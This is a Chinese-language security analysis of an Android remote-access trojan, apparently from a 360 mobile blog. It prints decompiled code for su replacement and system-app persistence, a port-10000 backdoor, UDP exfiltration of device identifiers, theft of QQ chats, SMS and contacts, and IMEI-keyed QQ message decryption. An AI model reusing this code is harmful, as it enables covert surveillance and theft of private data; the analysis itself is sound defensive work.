一、木馬介紹
該木馬具有很高的欺騙和隱藏性,在首次運行時並不會暴露自身身份,會通過打包udp數據包,將手機基本信息發送到指定的地址:www.baidu.com 端口: 8000,造成分析者困惑,以及欺騙沙箱。當經歷過查殺期後,木馬通過連接自己建立的後門,修改udp發送目的地,以及設置一些flag,來偷取用戶的qq聊天記錄,微信語音聊天記錄,中碼者的活動地址,短信收發信息,聯繫人信息等等。目前該木馬還通過跟換包名,簽名證書方式逃避殺軟。但360手機衛士可全面查殺任何變種。
二、詳細分析
1.對AndroidManifest.xml文件分析
發現該app使用了大量危險權限,並對短信,系統啓動,網絡變化都進行監聽。<--!入口一主Activity-->
<activity android:label="@string/app_name" android:name="nitm.jescxys.robqbo.AndroidserviceActivity" android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.INFO" />
</intent-filter>
</activity>
<--!入口二系統系統廣播監聽-->
<receiver android:name="nitm.jescxys.robqbo.TimerReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
<--!入口三短信包廣播監聽-->
<receiver android:name="nitm.jescxys.robqbo.AutoSMS">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<--!入口四網路變化監聽-->
<receiver android:name="nitm.jescxys.robqbo.NetWorkMonitor">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
</intent-filter>
</receiver>
<service android:name="TimerService" />
2.首先從主Activity入口分析
啓動TimerService服務
捆綁安裝assets目錄下的pingAnAccident3.0.apk文件(分析發現assets目錄下並沒有pingAnAccident3.0.apk文件)
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(2130903040);
this.startService(new Intent(((Context)this), TimerService.class));
RetrieveApk retrieveApk = new RetrieveApk(); // 捆綁安裝assets目錄下的pingAnAccident3.0.apk
if(!retrieveApk.MoveApk(((Context)this))) {
this.finish();
}
else {
retrieveApk.InstallPacket();
}
}
3.轉入TimerService服務
TimerSerivce服務是此木馬核心代碼獲取中碼手機信息,如:設備ID,電話號碼,imei號,註冊的網絡運營商等信息。
配置木馬的惡意行爲,包括建立UDP對象,初始化連接ip,端口; 初始化手機位置信息對象,監聽電話對象,手機截屏對象,手機qq信息記錄對象,文件管理對象,短信監控對象
運行命令接收線程控制手機,運行錄音線程,初始化屏幕解鎖與鎖定recevier,以控制手機Gps狀態。
替換手機su文件,並拷貝木馬準備的cp,screenhelper文件(也就是隻能對root過後的手機下黑手),將獲取到的手機號碼,imsi,imei,等打包成udp數據包發送到指定站點
建立後門.端口10000,黑客通過連接後門傳送自己定義的指令,來控制手機,偷取信息
時間任務器沒30秒偷取手機設備信息,qq聊天信息,系統安裝程序包,聯繫人,短信信息,通話記錄,屏幕截圖,中碼者位置等等
public void onCreate()
{
this.m_3gp = new config3g();
this.m_wificonfig = new configwifi();
this.GetConfig(); // m_strip 配置(“www.baidu.com”)
this.GetVersion(); // 讀取Assest目錄下的,version.txt獲取當前木馬版本
this.telephonyMgr = ((TelephonyManager)getSystemService("phone"));
this.contentresolver = getContentResolver();
this.m_Imei = this.telephonyMgr.getDeviceId();
if (this.m_Imei == null)
this.m_Imei = getDeviceId();
this.m_Imsi = this.telephonyMgr.getSubscriberId();
if (this.m_Imsi == null)
this.m_Imsi = "";
this.m_PhoneNum = this.telephonyMgr.getLine1Number();
if (this.m_PhoneNum == null)
this.m_PhoneNum = "";
this.m_NetWorkName = this.telephonyMgr.getNetworkOperatorName();
this.udp = new UDP();
this.udp.Init(this.m_strip, Integer.valueOf(this.m_strport).intValue(), this.m_Imei);
this.m_cont = getApplicationContext();
this.m_su = new SU(this.m_cont);
this.m_su.BeginSu(); //替換手機su文件,爲後面執行命令準備
if (this.sp.getLong("systemlog", 0L) == 0L)
{
String str2 = getPackageName();
RootCmd("mount -o rw,remount /system\ncp /data/app/" + str2 + "*.apk /system/app/" + str2 + "-1.apk\nchmod 777 /system/app/" + str2 + "*.apk");
//將木馬拷貝到系統app目錄下,僞裝自己爲系統核心軟件
this.editor.putLong("systemlog", 1L);
}
this.gsmLocation = new GsmLocation();
this.gsmLocation.Init(this.telephonyMgr, this.udp, this);
this.audio = new Audio();
this.audio.Init(this.udp, this.telephonyMgr, this);
this.screen = new Screen();
AssetManager localAssetManager = getAssets();
this.screen.Init(this.udp, this, localAssetManager);
this.m_oldfile = new SendOldFile();
this.m_oldfile.Init(this, this.udp);
this.mqq = new mobiqq();
if (this.m_Imei != null)
this.mqq.Init(this.m_cont, this.m_Imei, this.udp, this, localAssetManager);
this.CreateEnviromentAudioPath(); // 在存儲卡上創建.tmp/environmentaudioaudio目錄 並由this.m_envoromentaudiopath字段保存
this.file = new FileManage();
this.file.Init(this.udp, this);
this.filetrans = new FileTrans();
this.filetrans.Init(this.udp, this);
this.sms = new Sms();
this.sms.Init(this.udp, this.contentresolver, this);
this.cmdThread = new RecvThread(this);
this.cmdThread.start(); //建立命令接收線程,控制手機
this.enaudioThread = new environmentaudio(this, this.udp);
this.enaudioThread.start();
if (this.m_screenreceiver == null)
{
this.m_screenreceiver = new ScreenActionReceiver();
this.m_screenreceiver.Init(this.m_cont, this);
IntentFilter localIntentFilter = new IntentFilter();
localIntentFilter.addAction("com.emple.teacher.ACTION");
registerReceiver(this.m_screenreceiver, localIntentFilter);
this.m_screenreceiver.registerScreenActionReceiver(this.m_cont);
}
if (Environment.getExternalStorageState().equals("mounted"))
this.m_srcardpath = Environment.getExternalStorageDirectory().getPath();
servertrans.SetInstance(this);
this.m_phonename = (Build.MODEL + "," + Build.VERSION.SDK + "," + Build.VERSION.RELEASE);
Object[] arrayOfObject = new Object[7];
arrayOfObject[0] = this.m_PhoneNum;
arrayOfObject[1] = this.m_Imsi;
arrayOfObject[2] = this.m_Imei;
arrayOfObject[3] = this.m_phonename;
arrayOfObject[4] = Integer.valueOf(this.m_oldfile.m_delefefile / 3600);
arrayOfObject[5] = this.m_version;
arrayOfObject[6] = this.m_strip;
String str1 = String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", arrayOfObject);
this.udp.SendData(str1); //發送當前中碼手機信息
DirTheard localDirTheard = new DirTheard(this.udp, this);
Thread localThread = new Thread(localDirTheard);
localThread.start();
this.m_cmdThread = new TcpServer(this); //建立後門
if (this.m_cmdThread != null)
this.m_cmdThread.start();
this.mTimer = new Timer(); //建立時間任務,偷取中碼手機短信,qq聊天記錄,位置,通話記錄,手機當前運行包,手機聯繫人信息等等
this.mTimerTask = new TimerTask()
{
public void run()
{
if (TimerService.this.checkWIFI())
{
if (TimerService.this.needsendother())
{
if (TimerService.this.m_wificonfig.m_sysinfor) //木馬通過tcp連接設置字段,以控制讀取手機雲心包信息,手機qq聊天記錄等
TimerService.this.GetSysInfo();
if (TimerService.this.m_wificonfig.m_packet)
TimerService.this.getPackets();
}
if (TimerService.this.m_wificonfig.m_contact)
TimerService.this.GetContents(false);
if (TimerService.this.m_wificonfig.m_msm)
TimerService.this.sms.getSmsInPhone(false);
if (TimerService.this.m_wificonfig.m_histallCall)
TimerService.this.GetHistoryCall(false);
if (TimerService.this.m_wificonfig.m_sceen)
TimerService.this.screen.shot();
if (TimerService.this.m_wificonfig.m_qq)
TimerService.this.mqq.GetAllInfor();//獲取qq聊天信息
if (TimerService.this.m_wificonfig.m_sendoldaudio)
TimerService.this.m_oldfile.CheckOldData();
if (TimerService.this.m_wificonfig.m_gsm)
TimerService.this.gsmLocation.GetGsmLocation(false);//獲取中碼這位置
}
while ((!TimerService.this.m_wificonfig.m_gsm) && (!TimerService.this.m_3gp.m_gsm));
TimerService.this.gsmLocation.SaveLocation();
}
};
this.mTimer.schedule(this.mTimerTask, 5000L, 30000);
}
替換手機su文件
查看Assets文件夾,發現config中是三個elf文件。su用作root, cp用於拷貝文件,screenhelper用於屏幕截屏。
調用BeginSu函數
public void BeginSu() {
this.ReleaseConfig();
String packageName = "/data/data/" + this.m_cont.getApplicationContext().getPackageName() +
File.separator;
String screenhelperStr = String.valueOf(packageName) + "screenhelper";
String cpStr = String.valueOf(packageName) + "cp";
String suStr = String.valueOf(packageName) + "su";
ArrayList SuShellPath = SU.findSuShellBin("su");
SuShellPath.add("/system/bin/su");
int i;
for(i = 0; i < SuShellPath.size(); ++i) {
this.CoverSu(SuShellPath.get(i), suStr); // 覆蓋原有系統中的su文件爲病毒su
}
if(SU.findSuShellBin("cp").size() == 0) {
this.CoverData(cpStr, "/system/bin/cp"); // 拷貝病毒cp文件,進入系統目錄,已準備後面的命令執行
}
if(SU.findSuShellBin("screenhelper").size() == 0) {
this.CoverData(screenhelperStr, "/system/bin/screenhelper"); // 拷貝病毒cp文件,進入系統目錄,已準備後面的命令執行
}
}
CoverSu函數覆蓋原有的su文件
public void CoverSu(String oldsu, String mysu) {
File trojanSuPath = new File(mysu);
if((trojanSuPath.exists()) && trojanSuPath.length() != new File(oldsu).length()) {
//execRootCmd函數 先調用Runtime.getRuntime().exec("su");木馬獲取root權限,然後執行出入的參數命令
SU.execRootCmd("mount -o remount rw /system\n rm " + oldsu + "\n " + "cat " + mysu + " >"
+ oldsu + "\n chmod 6755 " + oldsu);
}
}
將木馬僞裝成系統應用
this.RootCmd("mount -o rw,remount /system\ncp /data/app/" + v15 + "*.apk /system/app/" +v15 + "-1.apk\nchmod 777 /system/app/" + v15 + "*.apk");
接下來在SD卡下建立文件記錄手機位置,通話,錄音,手機截屏圖● 建立.tmp/.tmpgsm.data文件記錄Gsm位置信息
● 建立.tmp/audio/time .tmp3gp文件對通話錄音
●建立.tmp/screen/time.png截屏圖片.
●建立.tmp/environmentaudioaudio文件
● 建立.tmp/mobiqq/databases/文件
●getfile”命令 會獲取微信的聊天記錄包括音頻,圖片文件;
●sinfo”命令獲取當前手機系統信息包括設備Mac,電話號碼,連接網絡名等;
●gsmLocation”獲取中碼人當前活動位置;
●getpackets”命令獲取手機安裝的程序;
●contact”獲取手機中聯繫人信息;
●historycall”獲取手機通話記錄;
●getsms”獲取手機短信息;
●setremoteip”設置遠程ip,”queryremoteip”查詢遠程ip,也就是通過tcp連接來設置和查詢m_strip字段,該字段是udp數據發送包的目的地址;
●getmobileqq”獲取手機;
●uninstall”卸載自身;
●environmentaudio”手機錄音控制;
●SendMsg”獲取短信箱內容,併發送到指定號碼等等
下圖我們可以瞭解到,起初木馬將獲取的手機號,Imsi,imei號等打包成udp數據包發送到www.baidu.com 端口:8000去,咦怎麼是百度,還以爲是木馬首先污染了dns隱射表,可是查看host並沒有異常情況。通過上面的分析發現在建立的RecvThread線程中,通過獲取“setremoteip”命令,設置m_strip字段,這樣隨時遠程修改ip地址,增加查殺和分析難度。
this.m_cmdThread = new TcpServer(this);
if(this.m_cmdThread != null) {
this.m_cmdThread.start();
}
public void run() {
try {
label_1:
Boolean bRet = Boolean.valueOf(false);
Log.v("zfw", "server port 10000");
ServerSocket serverSocket = new ServerSocket(10000, 100);
label_8:
if(bRet.booleanValue()) {
goto label_10;
}
Log.v("zfw", "accept loop");
Socket socket = serverSocket.accept();
Log.v("zfw", "new socket");
new TCPCLIENT(socket, this.m_Service);
goto label_8
}
}
建立時間任務器,每隔30秒執行一次,木馬作者通過設置一系列的flag,來控制當前需要獲取的哪些信息,並且只在wifi網絡環境下偷取數據 this.mTimer = new Timer();
this.mTimerTask = new TimerTask() {
public void run() {
TimerService.this.udp.SendData(String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", TimerService
.this.m_PhoneNum, TimerService.this.m_Imsi, TimerService.this.m_Imei, TimerService
.this.m_phonename, Integer.valueOf(TimerService.this.m_oldfile.m_delefefile /
3600), TimerService.this.m_version, TimerService.this.m_strip));
if(TimerService.this.checkWIFI()) {//只在wifi環境下偷取數據
if(TimerService.this.m_wificonfig.m_contact) { //獲取聯繫人flag
TimerService.this.GetContents(false);
}
if(TimerService.this.m_wificonfig.m_histallCall) {獲取通話記錄flag
TimerService.this.GetHistoryCall(false);
}
if(TimerService.this.m_wificonfig.m_sceen) {屏幕截屏flag
TimerService.this.screen.shot();
}
if(TimerService.this.m_wificonfig.m_qq) { 獲取qq聊天記錄,好友,所加羣信息的flag
TimerService.this.mqq.GetAllInfor();
}
/////////////////////////////////等等///////////////////////////////////////////////////////////////////////////////////////////////
}
}
}
}
調用GetAllInfor()獲取qq聊天記錄,好友等信息public void GetAllInfor() {
if(this.m_initok) {
this.m_dblist = this.MoveDbFile(); // 獲取qqNum.db列表
int i;
for(i = 0; i < this.m_dblist.size(); ++i) {
Object fileObj = this.m_dblist.get(i);
String qqNum = new File(((String)fileObj)).getName();
int pos = qqNum.lastIndexOf(46);
if(pos > 0) {
qqNum = qqNum.substring(0, pos);
DBmqq dbmqq = new DBmqq(this.m_cont, ((String)fileObj));
this.Getchat(((String)fileObj), dbmqq, qqNum); // 獲取此qq號碼聊天信息
this.GetGroups(dbmqq, qqNum); // 獲取此qq號碼加的羣
this.GetFriends(dbmqq, qqNum); // 獲取此qq號碼好友
}
}
}
}
MoveDbFile函數獲取手機中qq號碼列表(可能手機中登錄過多個qq號),最終調用GetChat,GetGroups,GetFriends獲取qq聊天信息,好友等信息 public void Getchat(String dbfullname, DBmqq qqdb, String loginqqid) {
List tableName = qqdb.getTablename();
int i;
for(i = 0; i < tableName.size(); ++i) {
Object objName = tableName.get(i);
if(((String)objName).contains("mr_friend_")) {
this.GetQQchat(((String)objName), qqdb, loginqqid, false);
}
else if(((String)objName).contains("mr_troop_")) {
this.GetQQchat(((String)objName), qqdb, loginqqid, true);
}
}
}
解密QQ加密字符串,key爲15位的手機串號字符串,以下是解密函數。//lpIn-輸入加密的數據流 從sqlite中getblob得到
//nLen-輸入緩衝區的長度
//key-爲手機imei號
//flg-手機qq是否爲新版本
public String DecrptMobileQQMsg(byte[] lpIn, int nLen, byte[] lpKey, boolean flg) { // flg=true時解密老版QQ
int keyLen = lpKey.length;
String strRet = new String("");
if(nLen > 0) {
byte[] decrptData = new byte[nLen * 2 + 2];
int j = 0;
int i;
for(i = 0; j < nLen; ++i) {
if(flg) {
int num = lpIn[j];
if(num < 0) {
num = lpIn[j] & 255;
}
if(num < 128) {
goto label_41;
}
if(j + 2 >= nLen) {
break;
}
decrptData[j] = lpIn[j];
decrptData[j + 1] = lpIn[j + 1];
j += 2;
}
label_41:
if(j >= nLen) {
break;
}
decrptData[j] = ((byte)(lpIn[j] ^ lpKey[i % keyLen]));
++j;
}
以下是木馬記錄的一些信息通話錄音
屏幕截屏
三、總結
該木馬屬於遠控潛伏者,通過判斷中碼者手機情況(是否裝有殺軟等),來遠程執行命令操控手機,最終偷取用戶大量隱私,手機用戶在下載手機應用最好到360手機助手等安全可靠的應市場或者官方網站下載,同時安裝360手機衛士,全面查殺此木馬的各種變種。原帖地址在:http://blogs.360.cn/360mobile/2014/09/26/fake-taobao-rat/ |